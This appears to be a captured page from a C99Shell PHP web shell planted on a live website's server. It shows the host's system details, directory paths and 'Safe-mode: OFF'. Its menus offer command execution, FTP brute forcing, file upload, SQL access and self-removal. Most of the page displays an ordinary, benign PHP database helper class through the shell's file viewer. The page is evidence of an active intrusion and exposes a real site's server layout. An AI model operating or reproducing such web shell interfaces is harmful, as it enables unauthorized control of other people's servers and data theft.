!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/itce.co.in/data/connections/dbfunctions/   drwxr-xr-x
Free 30.71 GB of 49.93 GB (61.51%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     MySQLFunctions.php (4.13 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class MySQLFunctions extends DBFunctions
{
    
/**
     *  A db connection link identifier
     * @type Mixed
     */
    
protected $conn null;
    
    
    function 
__construct$params )
    {
        
parent::__construct($params);
        
$this->strLeftWrapper "`";
        
$this->strRightWrapper "`";
        
$this->escapeChars'\\' ] = true;
        
        
$this->conn $params["conn"];    
    }
    
    
/**
     * @param String str
     * @return String
     */
    
public function escapeLIKEpattern$str )
    {
        return 
str_replace(array('\\''%''_'), array('\\\\''\\%''\\_'), $str);
    }

    
    
/**
     * @param String str
     * @return String
     */
    
public function addSlashes$str )
    {
        if( 
useMySQLiLib() && $this->conn )
        {
            if( 
$this->conn )
                return 
mysqli_real_escape_string$this->conn$str );
        } 
        else
        {
            
//    ODBC connection, no MySQL library included
            
return str_replace(array('\\''\''), array('\\\\''\\\''), $str);
        }
    }
    
    
/**
     * @param String str
     * @return String
     */    
    
public function addSlashesBinary$str )
    {
        if( !
strlen($str) )
            return 
"''";
            
        return 
"0x".bin2hex($str);
    }


    
/**
     * adds wrappers to field name if required
     * @param String strName
     * @return String
     */
    
public function addFieldWrappers$strName )
    {        
        if( 
substr($strName01) == $this->strLeftWrapper )
            return 
$strName;
            
        return 
$this->strLeftWrapper.$strName.$this->strRightWrapper;
    }
    

    
/**
     * @param String dbval
     * @return String     
     */
    
public function upper$dbval )
    {
        return 
"upper(".$dbval.")";
    }
    
    
    
/**
     * It's called for Contains and Starts with searches
     * @param Mixed value
     * @param Number type (optional)
     * @return String     
     */
    
public function field2char($value$type 3)
    {
        return 
$value;
    }
    
    
/**
     * @param Mixed value
     * @param Number type
     * @return String     
     */
    
public function field2time($value$type)
    {
        if( 
IsDateFieldType($type) )
            return 
"time(".$value.")";
            
        return 
$value;
    }

    
/**
     *  Get the auto generated SQL string used in the last query
     * @param String key (optional)    
     * @param String table (optional)    
     * @param String oraSequenceName (optional)    
     * @return String
     */
    
public function getInsertedIdSQL$key null$table null$oraSequenceName false )
    {
        return 
"SELECT LAST_INSERT_ID()";
    }

    
/**
     * @param String strName
     * @return String
     */    
    
public function timeToSecWrapper$strName )
    {
        return 
"TIME_TO_SEC(" $this->addTableWrappers($strName) . ")";
    }

    public function 
schemaSupported()
    {
        return 
false;
    }

    public function 
caseSensitiveComparison$val1$val2 )
    {
        return 
'binary ' $val1 ' = ' $val2;
    }
    
    public function 
limitedQuery$connection$strSQL$skip$total$applyLimit 
    {
        if( 
$applyLimit && ( $skip || $total ) ) 
            
$strSQL.= " limit "$skip ", " . ( $total >=$total 2000000000 );
        return 
$connection->query$strSQL );
    }

    public function 
intervalExpressionString$expr$interval 
    {
        return 
DBFunctions::intervalExprLeft$expr$interval );
    }

    public function 
intervalExpressionNumber$expr$interval 
    {
        return 
DBFunctions::intervalExprFloor$expr$interval );
    }

    public function 
intervalExpressionDate$expr$interval 
    {
        if(
$interval == 1// DATE_INTERVAL_YEAR
            
return "year(".$expr.")*10000 + 101"// ???
        
if($interval == 2// DATE_INTERVAL_QUARTER
            
return "year(".$expr.")*10000 + QUARTER(".$expr.")*100+1";
        if(
$interval == 3// DATE_INTERVAL_MONTH
            
return "year(".$expr.")*10000 + month(".$expr.")*100+1";
        if(
$interval == 4// DATE_INTERVAL_WEEK
            
return "year(".$expr.")*10000 + week(".$expr.")*100+01";
        if(
$interval == 5// DATE_INTERVAL_DAY
            
return "year(".$expr.")*10000 + month(".$expr.")*100 + day(".$expr.")";
        if(
$interval == 6// DATE_INTERVAL_HOUR
            
return "year(".$expr.")*1000000 + month(".$expr.")*10000 + day(".$expr.")*100 + HOUR(".$expr.")";
        if(
$interval == 7// DATE_INTERVAL_MINUTE
            
return "year(".$expr.")*100000000 + month(".$expr.")*1000000 + day(".$expr.")*10000 + HOUR(".$expr.")*100 + minute(".$expr.")";
        return 
$expr;
    }

    
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0037 ]--